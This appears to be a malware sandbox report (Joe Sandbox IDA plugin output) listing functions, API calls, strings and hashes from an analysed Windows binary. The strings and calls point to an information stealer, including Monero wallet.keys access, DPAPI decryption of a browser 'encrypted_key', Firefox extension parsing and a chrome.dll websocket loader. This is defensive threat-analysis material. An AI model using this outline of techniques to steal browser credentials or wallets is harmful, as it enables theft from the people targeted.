Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 1029625771-1545816527
Opcode ID: 2624ec209eb2c34f9fc1a10a837f3aa71b68cc11e641b8b139cb9c4cb898d0bd
Instruction ID: 57498865f51bf90bb75b3b40632bc9b1519d70efceb5b21e04016bc7d41e2ef0
Opcode Fuzzy Hash: 2624ec209eb2c34f9fc1a10a837f3aa71b68cc11e641b8b139cb9c4cb898d0bd
Instruction Fuzzy Hash: A1F01D7065C244AED709BB65EC48F5636A4A785741F008627F005A7290C7BD6894CB6F

Function 004F8EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004F96AE,00000000), ref: 004F8EEB
RtlAllocateHeap.NTDLL(00000000), ref: 004F8EF2
wsprintfW.USER32 ref: 004F8F08

Strings

%hs, xrefs: 004F8EFF

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: dc26f170ace6caa5789b116a072cb0376deabdcb65ff1a73f126237a9b0079d6
Instruction ID: 43e0ad26ac179f573eaafc0c5aa44b97fa7d8433904cba9514f034d845688def
Opcode Fuzzy Hash: dc26f170ace6caa5789b116a072cb0376deabdcb65ff1a73f126237a9b0079d6
Instruction Fuzzy Hash: D9E04670A48208BBDB04DBA4DD0AFAD7BB8FB84301F008294FD0996380DA759A00CBA5

Function 004EA990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004F8CF0: GetSystemTime.KERNEL32(00500E1B,0145A610,005005B6,?,?,004E13F9,?,0000001A,00500E1B,00000000,?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004F8D16

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004EAA11
lstrlen.KERNEL32(00000000,00000000), ref: 004EAB2F
lstrlen.KERNEL32(00000000), ref: 004EADEC

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

DeleteFileA.KERNEL32(00000000), ref: 004EAE73

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a86f723ab0ab9a33ffe4a728225bc7b099bc2458e80c261db7c3c28dc3b2d56c
Instruction ID: 2918081e4041d2b2c9575b1f5f14fc917d1c7b88344e5b4d3d4d8348a7884a1c
Opcode Fuzzy Hash: a86f723ab0ab9a33ffe4a728225bc7b099bc2458e80c261db7c3c28dc3b2d56c
Instruction Fuzzy Hash: E4E1D1B291010C9BCB04EBA5DDA5EFE7339AF54304F50855EF21A62091DF387A5CCB6A

Function 004ED500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004F8CF0: GetSystemTime.KERNEL32(00500E1B,0145A610,005005B6,?,?,004E13F9,?,0000001A,00500E1B,00000000,?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004F8D16

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004ED581
lstrlen.KERNEL32(00000000), ref: 004ED798
lstrlen.KERNEL32(00000000), ref: 004ED7AC
DeleteFileA.KERNEL32(00000000), ref: 004ED82B

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ee70e763bfb40669cf219e10de0820d11feaa6d84abd1f0cd2d0b3a2d617e77b
Instruction ID: 76b03a16cc6133df58d35fbdb1cf0b9a47300fbe65b22bae8cdc93da51b6ccfc
Opcode Fuzzy Hash: ee70e763bfb40669cf219e10de0820d11feaa6d84abd1f0cd2d0b3a2d617e77b
Instruction Fuzzy Hash: 3991E7B291010C9BCB04FBA5DC96EFE7339AF54304F50455EF21A66191EF387A18CB6A

Function 004ED880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004F8CF0: GetSystemTime.KERNEL32(00500E1B,0145A610,005005B6,?,?,004E13F9,?,0000001A,00500E1B,00000000,?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004F8D16

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004ED901
lstrlen.KERNEL32(00000000), ref: 004EDA9F
lstrlen.KERNEL32(00000000), ref: 004EDAB3
DeleteFileA.KERNEL32(00000000), ref: 004EDB32

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8ef79b1fc30cae878e7924f43099dfcc6ca490a7b54ba8cec6c3e00aca5d898c
Instruction ID: 3e937c0cf9f08a353fcfe7c93181b6b02d7c3519e6dcaa08fd23e3d63acc0fcb
Opcode Fuzzy Hash: 8ef79b1fc30cae878e7924f43099dfcc6ca490a7b54ba8cec6c3e00aca5d898c
Instruction Fuzzy Hash: 1581E6B191010C9BCB04FBA5DCA6EFE7339AF54304F40455EF21A66191EF387A18CB6A

Function 0055FED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0055FF9E
___AdjustPointer.LIBCMT ref: 0055FFC1
___AdjustPointer.LIBCMT ref: 0056005D

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction ID: 4edd928de7331c23b1e368dcef165b87e4385cf14b9b871b721b2b5f832b272a
Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction Fuzzy Hash: 5551C372500206AFEB298F54C869BBB7FA5FF41312F24452EED0687991E731ED44DB90

Function 004EA560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004EA664

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Strings

v20, xrefs: 004EA571
v10, xrefs: 004EA5C6
@, xrefs: 004EA614

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpy
String ID: @$v10$v20
API String ID: 2746078483-278772428
Opcode ID: b1bdeb5edb35497b3d8d48cb1dd551592d5f481e602b8562523e1b3208e5c455
Instruction ID: 07e26babe9157221fd929891bc9a7b15bf97c5cc274526c68b805e21af8f2019
Opcode Fuzzy Hash: b1bdeb5edb35497b3d8d48cb1dd551592d5f481e602b8562523e1b3208e5c455
Instruction Fuzzy Hash: 60516D70A0024CEFDB14DFA5CD96FED7775BF40344F008019EA0A5B291DB78AA15CB5A

Function 004EF5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004EA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004EA13C
Part of subcall function 004EA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004EA161
Part of subcall function 004EA110: LocalAlloc.KERNEL32(00000040,?), ref: 004EA181
Part of subcall function 004EA110: ReadFile.KERNEL32(000000FF,?,00000000,004E148F,00000000), ref: 004EA1AA
Part of subcall function 004EA110: LocalFree.KERNEL32(004E148F), ref: 004EA1E0
Part of subcall function 004EA110: CloseHandle.KERNEL32(000000FF), ref: 004EA1EA

Part of subcall function 004F8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004F8FE2

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00501678,00500D93), ref: 004EF64C
lstrlen.KERNEL32(00000000), ref: 004EF66B

Strings

moz-extension+++, xrefs: 004EF6AD
^userContextId=4294967295, xrefs: 004EF69C

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: e0a8781fd184ca59a91e6e17172f79686a403d0204450fc086b5ba77a4f41dca
Instruction ID: 0b2639e3b37bc0a8b75b866b56847cc46098f197249f4510adcc2c269a8a7567
Opcode Fuzzy Hash: e0a8781fd184ca59a91e6e17172f79686a403d0204450fc086b5ba77a4f41dca
Instruction Fuzzy Hash: 43512FB2D0010C9ACB04FBA5DD96DFD7339AF54304F00856EF61A67195EE386A1CCB6A

Function 004F37B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: fb7bb41d6d9e99051ec075da613f343bc2dad5b9346805acf67ac6dcb32cba0b
Instruction ID: 7b4f9eb829b45eea3a565bcbe4bb4113e5e9d0eeceecd88c133b6e964263715c
Opcode Fuzzy Hash: fb7bb41d6d9e99051ec075da613f343bc2dad5b9346805acf67ac6dcb32cba0b
Instruction Fuzzy Hash: B1412DB1D0010D9BCB04EFA5D855EFEB778AF44305F00801EF61676291EB78AA15CBAA

Function 004EA430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004EA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004EA13C
Part of subcall function 004EA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004EA161
Part of subcall function 004EA110: LocalAlloc.KERNEL32(00000040,?), ref: 004EA181
Part of subcall function 004EA110: ReadFile.KERNEL32(000000FF,?,00000000,004E148F,00000000), ref: 004EA1AA
Part of subcall function 004EA110: LocalFree.KERNEL32(004E148F), ref: 004EA1E0
Part of subcall function 004EA110: CloseHandle.KERNEL32(000000FF), ref: 004EA1EA

Part of subcall function 004F8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004F8FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004EA489

Part of subcall function 004EA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>ON,00000000,00000000), ref: 004EA23F
Part of subcall function 004EA210: LocalAlloc.KERNEL32(00000040,?,?,?,004E4F3E,00000000,?), ref: 004EA251
Part of subcall function 004EA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>ON,00000000,00000000), ref: 004EA27A
Part of subcall function 004EA210: LocalFree.KERNEL32(?,?,?,?,004E4F3E,00000000,?), ref: 004EA28F

Part of subcall function 004EA2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004EA2D4
Part of subcall function 004EA2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 004EA2F3
Part of subcall function 004EA2B0: LocalFree.KERNEL32(?), ref: 004EA323

Strings

DPAPI, xrefs: 004EA4D9
"encrypted_key":", xrefs: 004EA480
, xrefs: 004EA511

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
